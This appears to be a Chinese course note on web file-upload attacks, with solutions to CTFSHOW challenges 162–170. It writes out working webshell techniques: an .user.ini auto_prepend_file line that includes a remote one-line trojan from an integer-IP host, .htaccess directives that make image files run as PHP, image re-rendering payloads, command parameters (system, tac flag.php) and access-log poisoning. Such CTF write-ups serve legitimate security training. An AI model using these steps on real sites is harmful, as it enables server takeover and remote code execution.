day 32 文件上传&二次渲染&.htaccess&变异免杀

前言:

#知识点:

1、文件上传-二次渲染

2、文件上传-简单免杀变异

3、文件上传-.htaccess妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF赛题知识点

2、文件上传-中间件解析&编辑器安全

3、文件上传-实例CMS文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

文件二次渲染:

1、判断上传前和上传后的文件大小及内容

2、判断上传后的文件返回数据包内容

CTFSHOW-文件上传-162到170关卡


162 突破.过滤

过滤 . () {} ; 等

利用远程包含IP转换地址(长地址后门)调用执行

.user.ini auto_prepend_file=png

png //这里的http://794750069/是一个包含一句话木马的网页

https://www.bejson.com/convert/ip2int/

163 突破上传删除

过滤 . () {} ; 等 同时文件被删除

这里有两种情况:

1.直接全部都删除,这种就只能通过条件竞争(即通过快速访问文件,让文件的进程被占用,导致无法删除)

2.根据过滤来删除 这种就可以通过,直接通过.user,ini 直接远程包含 来绕过。

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常,返回包发现渲染

2、上传jpg渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

day 32 文件上传&二次渲染&.htaccess&变异免杀_第1张图片

167.htaccess妙用

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

通过htaccess来实现上传文件后缀自定义

创建.htaccess文件


Sethandler application/x-httpd-php

先上传.htaccess文件,上传成功

day 32 文件上传&二次渲染&.htaccess&变异免杀_第2张图片

下载一张后缀名为jpg的图片,把图片名改为shana,即shana.jpg。打开图片,在最后增加一行php代码,然后上传

day 32 文件上传&二次渲染&.htaccess&变异免杀_第3张图片

图片中包含的代码显示成功

day 32 文件上传&二次渲染&.htaccess&变异免杀_第4张图片

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析配置

将.png后缀的文件解析成php

AddType application/x-httpd-php .png //将.png 的任意文件当成php去解析。

168 免杀后门

169- 170 日志包含

构造.user.ini利用条件:上传index.php 内容随意

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:

你可能感兴趣的:(小迪网安笔记,安全)